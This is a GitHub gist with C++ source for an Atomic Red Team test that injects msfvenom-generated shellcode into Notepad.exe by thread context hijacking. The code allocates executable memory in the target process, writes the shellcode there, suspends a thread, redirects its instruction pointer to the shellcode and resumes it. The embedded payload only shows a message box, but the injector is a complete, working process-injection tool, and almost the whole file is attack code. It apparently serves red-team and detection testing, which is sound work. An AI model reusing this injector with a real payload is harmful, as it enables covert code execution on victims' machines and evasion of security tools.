Created
July 10, 2025 15:14
-
-
Save justaguywhocodes/d9116daf95a9487e93b28285f3b573b1 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Injector for Atomic Red Team leveraging thread context hijacking (T1055.003) to inject shellcode in Notepad.exe. | |
// Author: [email protected] | |
#include <windows.h> | |
#include <tlhelp32.h> | |
#include <iostream> | |
#include <string> | |
// msfvenom -a x64 --platform windows -p windows/x64/messagebox TEXT="Atomic Red Team" -f csharp | |
unsigned char shellcode[] = { | |
0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41, | |
0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,0x52, | |
0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,0x0f,0xb7,0x4a, | |
0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1, | |
0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,0x3e, | |
0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0, | |
0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49, | |
0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d, | |
0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75, | |
0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b, | |
0x40,0x24,0x49,0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c, | |
0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e, | |
0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0, | |
0x58,0x41,0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7, | |
0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0xfe,0x00,0x00,0x00,0x3e,0x4c,0x8d, | |
0x85,0x0e,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,0xd5, | |
0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x41,0x74,0x6f,0x6d,0x69, | |
0x63,0x20,0x52,0x65,0x64,0x20,0x54,0x65,0x61,0x6d,0x00,0x4d,0x65,0x73,0x73,0x61, | |
0x67,0x65,0x42,0x6f,0x78,0x00 | |
}; | |
unsigned int shellcode_len = sizeof(shellcode); | |
DWORD FindProcess(const std::string& procname) { | |
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); | |
if (hSnapshot == INVALID_HANDLE_VALUE) { | |
return 0; | |
} | |
PROCESSENTRY32 pe32{}; | |
pe32.dwSize = sizeof(PROCESSENTRY32); | |
if (!Process32First(hSnapshot, &pe32)) { | |
CloseHandle(hSnapshot); | |
return 0; | |
} | |
DWORD pid = 0; | |
while (Process32Next(hSnapshot, &pe32)) { | |
if (_stricmp(procname.c_str(), pe32.szExeFile) == 0) { | |
pid = pe32.th32ProcessID; | |
break; | |
} | |
} | |
CloseHandle(hSnapshot); | |
return pid; | |
} | |
HANDLE FindThread(DWORD pid) { | |
THREADENTRY32 thEntry{}; | |
thEntry.dwSize = sizeof(thEntry); | |
HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); | |
if (hThreadSnap == INVALID_HANDLE_VALUE) { | |
return nullptr; | |
} | |
HANDLE hThread = nullptr; | |
while (Thread32Next(hThreadSnap, &thEntry)) { | |
if (thEntry.th32OwnerProcessID == pid) { | |
hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, thEntry.th32ThreadID); | |
break; | |
} | |
} | |
CloseHandle(hThreadSnap); | |
return hThread; | |
} | |
int InjectContext(DWORD pid, HANDLE hProc, unsigned char* shellcode, unsigned int shellcode_len) { | |
HANDLE hThread = FindThread(pid); | |
if (hThread == nullptr) { | |
std::cerr << "Error when hijacking thread.\n"; | |
return -1; | |
} | |
// Inject shellcode in target process | |
LPVOID lpBase = VirtualAllocEx(hProc, nullptr, shellcode_len, MEM_COMMIT, PAGE_EXECUTE_READ); | |
if (lpBase == nullptr) { | |
CloseHandle(hThread); | |
std::cerr << "Error allocating memory in target process.\n"; | |
return -1; | |
} | |
if (!WriteProcessMemory(hProc, lpBase, shellcode, shellcode_len, nullptr)) { | |
VirtualFreeEx(hProc, lpBase, 0, MEM_RELEASE); | |
CloseHandle(hThread); | |
std::cerr << "Error writing shellcode to target process.\n"; | |
return -1; | |
} | |
// Hijack thread | |
if (SuspendThread(hThread) == (DWORD)-1) { | |
VirtualFreeEx(hProc, lpBase, 0, MEM_RELEASE); | |
CloseHandle(hThread); | |
std::cerr << "Error suspending thread.\n"; | |
return -1; | |
} | |
CONTEXT ctx{}; | |
ctx.ContextFlags = CONTEXT_FULL; | |
if (!GetThreadContext(hThread, &ctx)) { | |
VirtualFreeEx(hProc, lpBase, 0, MEM_RELEASE); | |
CloseHandle(hThread); | |
std::cerr << "Error getting thread context.\n"; | |
return -1; | |
} | |
#ifdef _M_IX86 | |
ctx.Eip = (DWORD_PTR)lpBase; | |
#else | |
ctx.Rip = (DWORD_PTR)lpBase; | |
#endif | |
if (!SetThreadContext(hThread, &ctx)) { | |
VirtualFreeEx(hProc, lpBase, 0, MEM_RELEASE); | |
CloseHandle(hThread); | |
std::cerr << "Error setting thread context.\n"; | |
return -1; | |
} | |
int result = ResumeThread(hThread); | |
CloseHandle(hThread); | |
return result; | |
} | |
int main(int argc, char* argv[]) { | |
DWORD pid = FindProcess("notepad.exe"); | |
if (pid == 0) { | |
std::cerr << "Notepad.exe not running. Run Notepad first.\n"; | |
return 1; | |
} | |
HANDLE hProc = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, pid); | |
if (hProc == nullptr) { | |
std::cerr << "Error opening process.\n"; | |
return 1; | |
} | |
int result = InjectContext(pid, hProc, shellcode, shellcode_len); | |
CloseHandle(hProc); | |
return result == -1 ? 1 : 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment